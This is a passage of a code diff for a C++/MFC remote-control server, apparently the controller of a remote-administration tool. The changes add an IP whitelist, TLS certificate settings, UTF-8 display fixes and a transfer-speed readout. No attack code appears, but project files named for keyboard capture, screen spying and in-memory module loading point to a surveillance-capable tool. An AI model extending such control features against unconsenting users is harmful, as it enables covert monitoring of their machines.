-    buf[3] = (BYTE)(durMs & 0xFF);
-    buf[4] = (BYTE)((durMs >> 8) & 0xFF);
-    SendSelectedCommand(buf, sizeof(buf));
-}
-
 void CMy2015RemoteDlg::ApplyThumbnailSettings()
 {
     // 任何已缓存的 HBITMAP 都是按"旧 ThumbWidth"渲染的，尺寸不再可信 —— 一律清空。
@@ -10018,14 +10237,16 @@ void CMy2015RemoteDlg::OnRClickMessage(NMHDR* pNMHDR, LRESULT* pResult)
     menu.AppendMenu(MF_STRING, ID_MSGLOG_LOGIN_NOTIFY, _TR("上线提醒"));
     menu.AppendMenu(MF_STRING, ID_MSGLOG_BAN_IP, _TR("封禁IP"));
     menu.AppendMenu(MF_STRING, ID_MSGLOG_UNBAN_IP, _TR("解除封禁"));
+    menu.AppendMenu(MF_STRING, ID_MSGLOG_WHITELIST_IP, _TR("白名单"));
 
-    // 没有选中项时禁用"删除选中"、"复制选中"、"上线提醒"、"封禁IP"和"解除封禁"
+    // 没有选中项时禁用"删除选中"、"复制选中"、"上线提醒"、"封禁IP"、"解除封禁"和"白名单"
     if (m_CList_Message.GetSelectedCount() == 0) {
         menu.EnableMenuItem(ID_MSGLOG_DELETE, MF_GRAYED);
         menu.EnableMenuItem(ID_MSGLOG_COPY, MF_GRAYED);
         menu.EnableMenuItem(ID_MSGLOG_LOGIN_NOTIFY, MF_GRAYED);
         menu.EnableMenuItem(ID_MSGLOG_BAN_IP, MF_GRAYED);
         menu.EnableMenuItem(ID_MSGLOG_UNBAN_IP, MF_GRAYED);
+        menu.EnableMenuItem(ID_MSGLOG_WHITELIST_IP, MF_GRAYED);
     }
     // PowerShell不可用时禁用"上线提醒"
     if (!GetNotifyManager().IsPowerShellAvailable()) {
@@ -10412,6 +10633,82 @@ void CMy2015RemoteDlg::OnMsglogUnbanIP()
     MessageBoxL(details, _TR("解除封禁"), MB_ICONINFORMATION);
 }
 
+void CMy2015RemoteDlg::OnMsglogWhitelistIP()
+{
+    // Get selected log messages and extract IP addresses from them
+    std::vector<std::string> ipsToAdd;
+
+    POSITION pos = m_CList_Message.GetFirstSelectedItemPosition();
+    while (pos) {
+        int row = m_CList_Message.GetNextSelectedItem(pos);
+        // Column 2 is the message content ("信息内容")
+        CString msgText = m_CList_Message.GetItemText(row, 2);
+
+        CString extractedIP;
+        if (ExtractFirstIPFromMessage(msgText, extractedIP)) {
+            std::string ipUtf8 = CT2A(extractedIP, CP_UTF8);
+            ipsToAdd.push_back(ipUtf8);
+        }
+    }
+
+    if (ipsToAdd.empty()) {
+        MessageBoxL(_TR("所选日志消息中未检测到有效的 IP 地址"), _TR("提示"), MB_ICONINFORMATION);
+        return;
+    }
+
+    // 二次确认
+    if (IDYES != MessageBoxL(_TR("确定将选中日志中的 IP 加入白名单吗？"), _TR("提示"), MB_ICONQUESTION | MB_YESNO)) {
+        return;
+    }
+
+    // Process each extracted IP
+    int addedCount = 0;
+    int alreadyCount = 0;
+    int bannedCount = 0;
+
+    for (const auto& ip : ipsToAdd) {
+        // Already whitelisted
+        if (IPWhitelist::getInstance().IsWhitelisted(ip)) {
+            alreadyCount++;
+            continue;
+        }
+        // Banned IPs cannot be whitelisted
+        if (IPBlacklist::getInstance().IsBlacklisted(ip)) {
+            bannedCount++;
+            continue;
+        }
+
+        IPWhitelist::getInstance().AddIP(ip);
+        addedCount++;
+    }
+
+    // Persist to config
+    if (addedCount > 0) {
+        std::string whitelistStr = IPWhitelist::getInstance().Export();
+        THIS_CFG.SetStr("settings", "IPWhitelist", whitelistStr.c_str());
+    }
+
+    // Build result message
+    CString details;
+    if (addedCount > 0) {
+        details.AppendFormat(_TR("已将 %d 个 IP 加入白名单"), addedCount);
+    }
+    if (alreadyCount > 0) {
+        if (!details.IsEmpty()) details += _T("\n");
+        details.AppendFormat(_TR("%d 个 IP 已在白名单中"), alreadyCount);
+    }
+    if (bannedCount > 0) {
+        if (!details.IsEmpty()) details += _T("\n");
+        details.AppendFormat(_TR("%d 个 IP 已封禁，无法加入白名单"), bannedCount);
+    }
+
+    if (details.IsEmpty()) {
+        details = _TR("未执行任何操作");
+    }
+
+    MessageBoxL(details, _TR("白名单"), MB_ICONINFORMATION);
+}
+
 void CMy2015RemoteDlg::OnOnlineAddWatch()
 {
     EnterCriticalSection(&m_cs);
@@ -11423,6 +11720,28 @@ void CMy2015RemoteDlg::OnMcpSettings()
     // 保存后重生成 frpc.ini：若已启用 MCP 且绑定 0.0.0.0，则把 MCP 端口纳入 FRP 暴露列表
     // （与监听/Web 端口取并集，互不覆盖）。MCP 生效仍需重启，此处仅为下次启动准备配置。
     ApplyFrpSettings();
+
+    // 菜单在启动时只构建一次（CreateSolidMenu），勾选状态不会自动刷新，
+    // 这里同步「扩展」菜单上「MCP设置」的勾选，使其与 [settings] McpEnabled 一致。
+    if (CMenu* pExtMenu = m_MainMenu.GetSubMenu(3)) {
+        pExtMenu->CheckMenuItem(ID_MCP_SETTINGS, MF_BYCOMMAND |
+            (THIS_CFG.GetInt("settings", "McpEnabled", 0) ? MF_CHECKED : MF_UNCHECKED));
+    }
+}
+
+void CMy2015RemoteDlg::OnTlsCertificate()
+{
+    CTlsCertificateDlg dlg(this);
+    if (dlg.DoModal() != IDOK) return;
+
+    // 对话框内已写入 [tls] 三键并调 ServerTlsIdentity::Load(THIS_CFG) 热重载，
+    // 对新建连接即时生效（设计文档 §7.1）。
+    // 菜单在启动时只构建一次（CreateSolidMenu），勾选状态不会自动刷新，
+    // 这里同步「扩展」菜单上「TLS证书」的勾选，使其与 [tls] Enabled 一致。
+    if (CMenu* pExtMenu = m_MainMenu.GetSubMenu(3)) {
+        pExtMenu->CheckMenuItem(ID_TLS_CERTIFICATE, MF_BYCOMMAND |
+            (THIS_CFG.GetInt("tls", "Enabled", 0) ? MF_CHECKED : MF_UNCHECKED));
+    }
 }
 
 void CMy2015RemoteDlg::OnConnectionManage()
@@ -12640,36 +12959,47 @@ LRESULT CMy2015RemoteDlg::OnSplitterReleased(WPARAM, LPARAM)
 
 void CMy2015RemoteDlg::OnCopyClientInfo()
 {
-    CString csv;
+    // 用宽字符拼 CSV 后以 CF_UNICODETEXT 写入剪贴板，逐列按源编码转宽，保证无损。
+    // 地理位置/程序路径已统一按 UTF-8 存储（见 AddList），活动窗口编码随客户端能力位；
+    // 其余列仍是 CP_ACP（GBK）。此前直接 dump 原始字节，UTF-8 列会被当 GBK 造成乱码。
+    std::wstring csv;
     EnterCriticalSection(&m_cs);
     int nItem = m_CList_Online.GetNextItem(-1, LVNI_SELECTED);
     while (nItem != -1) {
         context* ctx = GetContextByListIndex(nItem);
         if (ctx) {
-            CString line;
+            std::wstring line;
             for (int col = 1; col < g_Column_Count_Online; ++col) {
-                if (col > 1) line += _T(",");
-                line += ctx->GetClientData(col - 1);
+                if (col > 1) line += L",";
+                int slot = col - 1;
+                CString text = ctx->GetClientData(slot);
+                UINT cp = CP_ACP;
+                if (slot == ONLINELIST_LOCATION || slot == ONLINELIST_PATH)
+                    cp = CP_UTF8;
+                else if (slot == ONLINELIST_LOGINTIME)
+                    cp = GetClientEncoding(ctx);
+                int wlen = MultiByteToWideChar(cp, 0, text, -1, NULL, 0);
+                if (wlen > 1) {
+                    std::wstring w(wlen - 1, L'\0');
+                    MultiByteToWideChar(cp, 0, text, -1, &w[0], wlen);
+                    line += w;
+                }
             }
-            csv += line + _T("\r\n");
+            csv += line + L"\r\n";
         }
         nItem = m_CList_Online.GetNextItem(nItem, LVNI_SELECTED);
     }
     LeaveCriticalSection(&m_cs);
 
-    if (csv.IsEmpty()) return;
+    if (csv.empty()) return;
     if (!OpenClipboard()) return;
     EmptyClipboard();
-    int len = (csv.GetLength() + 1) * sizeof(TCHAR);
+    int len = (int)((csv.size() + 1) * sizeof(wchar_t));
     HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len);
     if (hMem) {
-        memcpy(GlobalLock(hMem), (LPCTSTR)csv, len);
+        memcpy(GlobalLock(hMem), csv.c_str(), len);
         GlobalUnlock(hMem);
-#ifdef UNICODE
         SetClipboardData(CF_UNICODETEXT, hMem);
-#else
-        SetClipboardData(CF_TEXT, hMem);
-#endif
     }
     CloseClipboard();
 }

server/2015Remote/2015RemoteDlg.h

@@ -109,6 +109,13 @@ bool SupportsFileTransferV2(context* ctx);
 // 找不到主连接或老客户端：默认 CP936（覆盖 95% 简中/英语 ASCII 老客户端）。
 UINT GetClientEncoding(context* ctx);
 
+// 获取客户端「进程名/路径」编码 (CP_UTF8 或 936)。
+// 与 GetClientEncoding 不同：Windows 客户端的进程名/路径由 A 接口
+// （Process32FirstA / QueryFullProcessImageNameA 等）生成，恒为客户端系统
+// ANSI（简中=GBK/936），不随 CLIENT_CAP_UTF8 转 UTF-8；仅 LNX/MAC 走 UTF-8。
+// 与 McpServer::BuildListProcesses 的判定保持一致。
+UINT GetProcessListEncoding(context* ctx);
+
 // 服务端待续传的传输信息
 struct PendingTransferV2 {
     uint64_t clientID;
@@ -216,6 +223,9 @@ public:
     VOID AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing,
                  CString ver, CString startTime, std::vector<std::string>& v, CONTEXT_OBJECT* ContextObject);
     VOID ShowMessage(CString strType, CString strMsg);
+    // 消息中含 UTF-8（如地理位置）时使用：消息列经 LVM_SETITEMTEXTW 写宽字符串，
+    // 避免 UTF-8 在 ANSI 日志列表里被按 GBK 显示成乱码（Böblingen → B枚blingen）。
+    VOID ShowMessageW(const CStringW& strType, const CStringW& strMsg);
     VOID CreatStatusBar();
     VOID CreateToolBar();
     VOID CreateNotifyBar();
@@ -351,9 +361,8 @@ public:
 
     // ===== 文件传输速度配置（[transfer] 节，ChunkKb / DurationMs） =====
     // 主控端 UI 偏好，持久化走 THIS_CFG。上传方向读 THIS_CFG（重启主控端生效）；
-    // 下载方向经 CMD_FILE_SPEED 下发到被控端（下次打开文件管理/远程桌面会话生效）。
+    // 下载方向随 MasterSettings 下发（新连接登录即收到，改档后立即推送给在线客户端）。
     void OnFileTransferSpeed();          // 高级→文件传输速度
-    void SendFileSpeedCommand();         // 把当前档位经主连接下发给被控端
     void SendThumbnailRequest(class context* ctx);// 发一次缩略图请求
     void CacheThumbnail(uint64_t clientID, const BYTE* jpeg, size_t bytes);
     void ClearThumbnailCacheEntry(uint64_t clientID);
@@ -432,7 +441,7 @@ public:
     bool IsDllRequestLimited(const std::string& ip);
     void RecordDllRequest(const std::string& ip);
     CMenu	   m_MainMenu;
-    CBitmap m_bmOnline[69];
+    CBitmap m_bmOnline[71];
     uint64_t m_superID;
     std::map<HWND, CDialogBase *> m_RemoteWnds;
     FileTransformCmd m_CmdList;
@@ -522,6 +531,8 @@ public:
     afx_msg void OnExperimentFileManager();
     afx_msg void OnExperimentPrivateScreen();
     afx_msg void OnExperimentDrawingBoard();
+    afx_msg void OnExperimentTlsEnable();
+    afx_msg void OnExperimentTlsDisable();
     afx_msg void OnOnlineDelete();
     afx_msg void OnOnlineUpdate();
     afx_msg void OnAbout();
@@ -619,6 +630,7 @@ public:
     afx_msg void OnMsglogLoginNotify();
     afx_msg void OnMsglogBanIP();
     afx_msg void OnMsglogUnbanIP();
+    afx_msg void OnMsglogWhitelistIP();
     afx_msg void OnOnlineAddWatch();
     afx_msg void OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult);
     afx_msg void OnOnlineRunAsAdmin();
@@ -687,6 +699,7 @@ public:
     afx_msg void OnCancelShare();
     afx_msg void OnWebRemoteControl();
     afx_msg void OnMcpSettings();
+    afx_msg void OnTlsCertificate();
     afx_msg void OnConnectionManage();
     afx_msg void OnProxyPortAutorun();
     afx_msg void OnScreenpreviewLoop();

server/2015Remote/2015Remote_vs2015.vcxproj

@@ -329,6 +329,7 @@
     <ClInclude Include="LangManager.h" />
     <ClInclude Include="McpServer.h" />
     <ClInclude Include="McpSettingsDlg.h" />
+    <ClInclude Include="TlsCertificateDlg.h" />
     <ClInclude Include="NetworkDlg.h" />
     <ClInclude Include="NotifyConfig.h" />
     <ClInclude Include="NotifyManager.h" />
@@ -350,6 +351,7 @@
     <ClInclude Include="ScreenSpyDlg.h" />
     <ClInclude Include="SearchBarDlg.h" />
     <ClInclude Include="Server.h" />
+    <ClInclude Include="ServerTlsSession.h" />
     <ClInclude Include="ServicesDlg.h" />
     <ClInclude Include="ConnectionsDlg.h" />
     <ClInclude Include="SettingDlg.h" />
@@ -396,6 +398,7 @@
     <ClCompile Include="HostJson.cpp" />
     <ClCompile Include="McpServer.cpp" />
     <ClCompile Include="McpSettingsDlg.cpp" />
+    <ClCompile Include="TlsCertificateDlg.cpp" />
     <ClCompile Include="..\..\client\MemoryModule.c">
       <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
       <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
@@ -457,6 +460,7 @@
     <ClCompile Include="ZstaPickerDlg.cpp" />
     <ClCompile Include="IOCPKCPServer.cpp" />
     <ClCompile Include="IOCPServer.cpp" />
+    <ClCompile Include="ServerTlsSession.cpp" />
     <ClCompile Include="IOCPUDPServer.cpp" />
     <ClCompile Include="IPHistoryDlg.cpp" />
     <ClCompile Include="KeyBoardDlg.cpp" />

server/2015Remote/2015Remote_vs2015.vcxproj.filters

@@ -21,6 +21,7 @@
     <ClCompile Include="InputDlg.cpp" />
     <ClCompile Include="ZstaPickerDlg.cpp" />
     <ClCompile Include="IOCPServer.cpp" />
+    <ClCompile Include="ServerTlsSession.cpp" />
     <ClCompile Include="KeyBoardDlg.cpp" />
     <ClCompile Include="Loader.c" />
     <ClCompile Include="proxy\ProxyConnectServer.cpp" />
@@ -89,6 +90,7 @@
     <ClCompile Include="HostJson.cpp" />
     <ClCompile Include="McpServer.cpp" />
     <ClCompile Include="McpSettingsDlg.cpp" />
+    <ClCompile Include="TlsCertificateDlg.cpp" />
     <ClCompile Include="CClientLog.cpp" />
     <ClCompile Include="CActivityDialog.cpp" />
     <ClCompile Include="LogSearchBar.cpp" />
@@ -155,6 +157,7 @@
     </ClInclude>
     <ClInclude Include="IOCPUDPServer.h" />
     <ClInclude Include="Server.h" />
+    <ClInclude Include="ServerTlsSession.h" />
     <ClInclude Include="CDrawingBoard.h" />
     <ClInclude Include="IOCPKCPServer.h" />
     <ClInclude Include="..\..\common\ikcp.h" />
@@ -201,6 +204,7 @@
     <ClInclude Include="TriggerSettingsDlg.h" />
     <ClInclude Include="McpServer.h" />
     <ClInclude Include="McpSettingsDlg.h" />
+    <ClInclude Include="TlsCertificateDlg.h" />
     <ClInclude Include="CClientLog.h" />
     <ClInclude Include="CActivityDialog.h" />
     <ClInclude Include="LogSearchBar.h" />

server/2015Remote/Buffer.cpp

@@ -337,3 +337,20 @@ VOID CBuffer::CommitWrite(ULONG writtenSize)
     m_Ptr += writtenSize;
     LeaveCriticalSection(&m_cs);
 }
+
+// 截断缓冲区到指定有效长度（仅回退写指针，不移动/释放底层内存）。有效长度指「当前读取
+// 位置之后的字节数」，与 GetBufferLength 一致；请求值超出现有有效长度时收敛到现有长度。
+VOID CBuffer::TruncateBuffer(ULONG effectiveLen)
+{
+    EnterCriticalSection(&m_cs);
+    if (m_Base == NULL) {
+        LeaveCriticalSection(&m_cs);
+        return;
+    }
+    ULONG totalDataLen = (ULONG)(m_Ptr - m_Base);
+    ULONG cur = (totalDataLen > m_ulReadOffset) ? (totalDataLen - m_ulReadOffset) : 0;
+    if (effectiveLen > cur)
+        effectiveLen = cur;
+    m_Ptr = m_Base + m_ulReadOffset + effectiveLen;
+    LeaveCriticalSection(&m_cs);
+}

server/2015Remote/Buffer.h

@@ -130,6 +130,11 @@ public:
     // 确认写入完成，更新内部指针
     VOID CommitWrite(ULONG writtenSize);
 
+    // 截断缓冲区到指定有效长度（仅回退写指针，不移动/释放底层内存）。用于「尾部明文替换为
+    // 密文」：TLS 下 OutCompressedBuffer 追加明文后需换回密文，用此接口避免 ClearBuffer 的
+    // DeAllocateBuffer 释放正在被异步 WSASend 引用的底层内存。
+    VOID TruncateBuffer(ULONG effectiveLen);
+
 protected:
     PBYTE	m_Base;
     PBYTE	m_Ptr;

server/2015Remote/CClientListDlg.cpp

@@ -5,6 +5,7 @@
 #include "afxdialogex.h"
 #include "CClientListDlg.h"
 #include "2015Remote.h"
+#include <string>
 
 
 // CClientListDlg 对话框
@@ -93,6 +94,27 @@ static CString GetFieldValue(const ClientValue& val, GroupField field)
     }
 }
 
+// 程序路径与地理位置均以 UTF-8 存储（见 AddList / client 的 RES_FILE_PATH、RES_CLIENT_LOC），
+// 这里用 LVM_SETITEMTEXTW 直接写宽字符串，绕开 ANSI→CP_ACP 回转，
+// 即使服务端运行在非中文 ACP（如德语）上，中文/带变音符的文本也能正常显示（与窗口/进程管理同法）。
+static void SetUtf8ItemText(CListCtrl& list, int iItem, int iSubItem, const char* sz)
+{
+    std::wstring w;
+    if (sz && sz[0]) {
+        int wlen = MultiByteToWideChar(CP_UTF8, 0, sz, -1, NULL, 0);
+        if (wlen > 1) {
+            w.resize(wlen - 1);
+            MultiByteToWideChar(CP_UTF8, 0, sz, -1, &w[0], wlen);
+        }
+    }
+    LVITEMW lv = {};
+    lv.mask = LVIF_TEXT;
+    lv.iItem = iItem;
+    lv.iSubItem = iSubItem;
+    lv.pszText = w.empty() ? const_cast<LPWSTR>(L"") : &w[0];
+    ::SendMessageW(list.GetSafeHwnd(), LVM_SETITEMTEXTW, (WPARAM)iItem, (LPARAM)&lv);
+}
+
 // 比较两个客户端的指定列，返回 <0, 0, >0
 static int CompareClientByColumn(const std::pair<ClientKey, ClientValue>& a,
                                  const std::pair<ClientKey, ClientValue>& b,
@@ -294,12 +316,12 @@ void CClientListDlg::DisplayClients()
             m_ClientList.SetItemText(nItem, COL_ID, strID);
             m_ClientList.SetItemText(nItem, COL_NOTE, val.Note);
             m_ClientList.SetItemText(nItem, COL_COMPUTER_NAME, CString(val.ComputerName));
-            m_ClientList.SetItemText(nItem, COL_LOCATION, val.Location);
+            SetUtf8ItemText(m_ClientList, nItem, COL_LOCATION, val.Location);
             m_ClientList.SetItemText(nItem, COL_IP, val.IP);
             m_ClientList.SetItemText(nItem, COL_OS, val.OsName);
             m_ClientList.SetItemText(nItem, COL_INSTALL_TIME, val.InstallTime);
             m_ClientList.SetItemText(nItem, COL_LAST_LOGIN, val.LastLoginTime);
-            m_ClientList.SetItemText(nItem, COL_PROGRAM_PATH, CString(val.ProgramPath));
+            SetUtf8ItemText(m_ClientList, nItem, COL_PROGRAM_PATH, val.ProgramPath);
             m_ClientList.SetItemText(nItem, COL_LEVEL, strLevel);
             m_ClientList.SetItemText(nItem, COL_AUTH, strAuth);
             m_ClientList.SetItemData(nItem, (DWORD_PTR)key);
@@ -346,12 +368,12 @@ void CClientListDlg::DisplayClients()
                     m_ClientList.SetItemText(nItem, COL_ID, strID);
                     m_ClientList.SetItemText(nItem, COL_NOTE, val.Note);
                     m_ClientList.SetItemText(nItem, COL_COMPUTER_NAME, CString(val.ComputerName));
-                    m_ClientList.SetItemText(nItem, COL_LOCATION, val.Location);
+                    SetUtf8ItemText(m_ClientList, nItem, COL_LOCATION, val.Location);
                     m_ClientList.SetItemText(nItem, COL_IP, val.IP);
                     m_ClientList.SetItemText(nItem, COL_OS, val.OsName);
                     m_ClientList.SetItemText(nItem, COL_INSTALL_TIME, val.InstallTime);
                     m_ClientList.SetItemText(nItem, COL_LAST_LOGIN, val.LastLoginTime);
-                    m_ClientList.SetItemText(nItem, COL_PROGRAM_PATH, CString(val.ProgramPath));
+                    SetUtf8ItemText(m_ClientList, nItem, COL_PROGRAM_PATH, val.ProgramPath);
                     m_ClientList.SetItemText(nItem, COL_LEVEL, strLevel);
                     m_ClientList.SetItemText(nItem, COL_AUTH, strAuth);
                     m_ClientList.SetItemData(nItem, (DWORD_PTR)key);

server/2015Remote/CDlgFileSend.cpp

@@ -151,6 +151,54 @@ void CDlgFileSend::UpdateProgress(CString file, const FileProgressInfo& info)
     PostMessageA(WM_UPDATEFILEPROGRESS, (WPARAM)new CString(file), (LPARAM)new FileProgressInfo(info));
 }
 
+// 将字节/秒格式化为人类可读的速度串（如 "5.3M/s"、"320K/s"、"800B/s"）
+static CStringW FormatSpeed(double bps)
+{
+    CStringW s;
+    if (bps >= 1024.0 * 1024.0)
+        s.Format(L"%.1fM/s", bps / (1024.0 * 1024.0));
+    else if (bps >= 1024.0)
+        s.Format(L"%.0fK/s", bps / 1024.0);
+    else
+        s.Format(L"%.0fB/s", bps);
+    return s;
+}
+
+// 累计字节并周期性刷新标题中的速度（如 "发送文件 - 5.3M/s"）
+void CDlgFileSend::UpdateTitleWithSpeed(uint64_t dataLength)
+{
+    m_ullTotalBytes += dataLength;
+    ULONGLONG now = GetTickCount64();
+
+    // 首帧：用 Unicode API 捕获当前标题作为基础部分（可能已被 V2/C2C 覆盖为 "接收文件 (V2)" 等），
+    // 并建立采样基准；此时尚无速度可显示。
+    if (!m_bBaseTitleCaptured) {
+        WCHAR wBase[128] = { 0 };
+        ::GetWindowTextW(m_hWnd, wBase, 128);
+        m_strBaseTitle = wBase;
+        m_bBaseTitleCaptured = true;
+        m_ullLastTick = now;
+        m_ullLastBytes = m_ullTotalBytes;
+        return;
+    }
+
+    ULONGLONG dt = now - m_ullLastTick;
+    if (dt < 200) return;  // 采样间隔未到，仅累积字节
+
+    uint64_t delta = m_ullTotalBytes - m_ullLastBytes;
+    double speed = dt ? (double)delta * 1000.0 / (double)dt : 0.0;
+    m_dSpeedBps = (m_dSpeedBps == 0.0) ? speed : m_dSpeedBps * 0.6 + speed * 0.4;  // 轻度平滑
+
+    m_ullLastTick = now;
+    m_ullLastBytes = m_ullTotalBytes;
+
+    // 基础标题（Unicode）+ ASCII 速度后缀，全程 Unicode API，避免非中文系统上 ANSI 消息按系统 ACP 解码乱码
+    CStringW title = m_strBaseTitle;
+    title += L" - ";
+    title += FormatSpeed(m_dSpeedBps);
+    ::SetWindowTextW(m_hWnd, title);
+}
+
 void CDlgFileSend::FinishFileSend(BOOL succeed)
 {
     if (!GetSafeHwnd()) return;
@@ -170,6 +218,7 @@ LRESULT CDlgFileSend::OnUpdateFileProgress(WPARAM wParam, LPARAM lParam)
     SetDlgItemText(IDC_STATIC_CURRENTINDEX, status);
     SetDlgItemText(IDC_STATIC_CURRENT_FILE, *pFile);
     m_Progress.SetPos((int)percent);
+    UpdateTitleWithSpeed(pInfo->dataLength);
 
     // 只在第一次显示时置顶，后续更新不抢焦点
     if (!IsWindowVisible()) {

server/2015Remote/CDlgFileSend.h

@@ -51,6 +51,14 @@ public:
     BOOL m_bTargetOffline = FALSE;   // C2C目标已离线，已发送取消包
     enum { IDD = IDD_DIALOG_FILESEND };
 
+    // 传输速度统计（用于标题实时显示速度，如 "发送文件 - 5.3M/s"）
+    CStringW  m_strBaseTitle;               // 标题基础部分（"发送文件"/"接收文件 (V2)" 等，Unicode），首帧进度时捕获
+    bool      m_bBaseTitleCaptured = false;
+    uint64_t  m_ullTotalBytes = 0;          // 累计传输字节
+    uint64_t  m_ullLastBytes = 0;
+    ULONGLONG m_ullLastTick = 0;            // 上次速度采样时刻 (ms)
+    double    m_dSpeedBps = 0.0;            // 平滑后的速度 (B/s)
+
 protected:
     virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV 支持
 
@@ -59,6 +67,8 @@ protected:
     afx_msg LRESULT OnUpdateFileProgress(WPARAM wParam, LPARAM lParam);
     afx_msg LRESULT OnFinishFileSend(WPARAM wParam, LPARAM lParam);
 
+    void UpdateTitleWithSpeed(uint64_t dataLength);  // 累计字节并周期性刷新标题速度
+
 public:
     CProgressCtrl m_Progress;
     virtual BOOL OnInitDialog();

server/2015Remote/CFileSpeedDlg.h

@@ -79,6 +79,18 @@ protected:
     {
         CDialog::OnInitDialog();
 
+        // 非中文系统上 MBCS 对话框模板的中文会被系统 ACP 转成 "?"，TranslateDialog
+        // 拿到的是已乱码文本无法还原，故在此显式设置（参照 NotifySettingsDlg）。
+        // 均经 _TR 支持多语言翻译。
+        SetWindowText(_TR("文件传输速度"));
+        SetDlgItemText(IDC_FSPEED_HINT,            _TR("拖动滑块设置文件传输速度："));
+        SetDlgItemText(IDC_FSPEED_LABEL_SLOWEST,   _TR("最慢"));
+        SetDlgItemText(IDC_FSPEED_LABEL_DEFAULT,   _TR("默认"));
+        SetDlgItemText(IDC_FSPEED_LABEL_UNLIMITED, _TR("不限速"));
+        SetDlgItemText(IDC_FSPEED_RESET, _TR("恢复默认"));
+        SetDlgItemText(IDOK,              _TR("确定"));
+        SetDlgItemText(IDCANCEL,          _TR("取消"));
+
         SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_SETRANGE, TRUE,
                            MAKELONG(0, FILE_SPEED_TIER_COUNT - 1));
         SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_SETPAGESIZE, 0, 1);
@@ -86,7 +98,6 @@ protected:
         SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_SETPOS, TRUE, TierIndexFor(m_chunkKb, m_durMs));
 
         UpdateLabel();
-        TranslateDialog(this);
         return TRUE;
     }
 

server/2015Remote/CListCtrlEx.cpp

@@ -160,6 +160,9 @@ void CListCtrlEx::SetColumnVisible(int nCol, BOOL bVisible)
         if (m_Columns[nCol].CanHide || bVisible) {  // 不允许隐藏的列只能设为可见
             m_Columns[nCol].Visible = bVisible;
             AdjustColumnWidths();
+            // 列数变化后完整重绘（含背景擦除），否则最后一列右侧会残留旧列残影。
+            ScopedEraseBkgnd scope(*this);
+            RedrawWindow(NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN | RDW_UPDATENOW);
         }
     }
 }
@@ -230,6 +233,11 @@ void CListCtrlEx::ToggleColumnVisibility(int nColumn)
 
     // 重新调整列宽
     AdjustColumnWidths();
+
+    // 列数变化后完整重绘（含背景擦除），否则最后一列（TLS 等）右侧会残留旧列残影。
+    // 与 OnSize 中 needRefresh 分支相同的处理：临时放行背景擦除 + 全量 RedrawWindow。
+    ScopedEraseBkgnd scope(*this);
+    RedrawWindow(NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN | RDW_UPDATENOW);
 }
 
 void CListCtrlEx::LoadColumnVisibility()

server/2015Remote/CPasswordDlg.cpp

@@ -250,7 +250,7 @@ bool UpdateLicenseAuthorization(const std::string& deviceID, const std::string&
 }
 
 // IP 列表管理常量
-#define MAX_IP_HISTORY 500  // 最多保留 几 个不同的 IP
+#define MAX_IP_HISTORY 1000  // 最多保留 几 个不同的 IP
 
 // 解析 IP 列表字符串为 vector<pair<IP, 时间戳>>
 // 格式: "192.168.1.1|260218, 10.0.0.1|260215" (yyMMdd)

server/2015Remote/CPreviewLevelsDlg.h

@@ -89,11 +89,29 @@ protected:
     {
         CDialog::OnInitDialog();
 
+        // 非中文系统上 MBCS 对话框模板的中文会被系统 ACP 转成 "?"，TranslateDialog
+        // 拿到的是已乱码文本无法还原，故在此显式设置（参照 NotifySettingsDlg）。
+        // 均经 _TR/_L 支持多语言翻译。
+        SetWindowText(_TR("屏幕预览质量等级"));
+        SetDlgItemText(IDC_PLEVEL_LABEL_LEVEL,   _TR("等级"));
+        SetDlgItemText(IDC_PLEVEL_LABEL_WIDTH,   _TR("最大宽度"));
+        SetDlgItemText(IDC_PLEVEL_LABEL_QUALITY, _TR("JPEG质量"));
+        static const TCHAR* kLevelNames[QUALITY_COUNT] = {
+            _T("Ultra 极佳"), _T("High 优秀"), _T("Good 良好"),
+            _T("Medium 一般"), _T("Low 较差"), _T("Minimal 最低")
+        };
+        for (int i = 0; i < QUALITY_COUNT; i++)
+            SetDlgItemText(IDC_PLEVEL_LABEL_LEVEL0 + i, _L(kLevelNames[i]));
+        SetDlgItemText(IDC_PLEVEL_LABEL_HINT,
+            _TR("最大宽度为期望编码宽度；JPEG 质量 1~100"));
+        SetDlgItemText(IDC_PLEVEL_RESET, _TR("恢复默认"));
+        SetDlgItemText(IDOK,              _TR("确定"));
+        SetDlgItemText(IDCANCEL,          _TR("取消"));
+
         for (int i = 0; i < QUALITY_COUNT; i++) {
             m_working[i] = m_profiles[i];
         }
         LoadToControls();
-        TranslateDialog(this);
         return TRUE;
     }
 

server/2015Remote/FeatureFlags.h

@@ -89,8 +89,9 @@ typedef struct FeatureFlags {
 #define MF_REQUEST_AUTH       (1ULL << 42)  // HIDE_MENU_REQUEST_AUTH
 
 #define MF_MCP_SETTINGS       (1ULL << 43)  // HIDE_MENU_MCP_SETTINGS
+#define MF_TLS_CERTIFICATE    (1ULL << 44)  // HIDE_MENU_TLS_CERTIFICATE
 
-// [44-63] Reserved
+// [45-63] Reserved
 
 
 // ============================================================

server/2015Remote/FileManagerDlg.cpp

@@ -223,6 +223,27 @@ int	GetIconIndex(LPCTSTR lpFileName, DWORD dwFileAttributes)
     return index;
 }
 
+// 远程文件名/路径编码按 clientType 判定：Windows 走 A 接口(FindFirstFileA)=GBK/936，
+// LNX/MAC 文件系统天然 UTF-8（同 McpServer.cpp::BuildListFiles）。这里用 LVM_SETITEMTEXTW
+// 直接写宽字符串，绕开 ANSI→CP_ACP 回转，即使服务端运行在非中文 ACP 上中文名也能正常显示。
+static void SetFileTextItem(CListCtrl& list, int iItem, int iSubItem, const char* sz, UINT cp)
+{
+    std::wstring w;
+    if (sz && sz[0]) {
+        int wlen = MultiByteToWideChar(cp, 0, sz, -1, NULL, 0);
+        if (wlen > 1) {
+            w.resize(wlen - 1);
+            MultiByteToWideChar(cp, 0, sz, -1, &w[0], wlen);
+        }
+    }
+    LVITEMW lv = {};
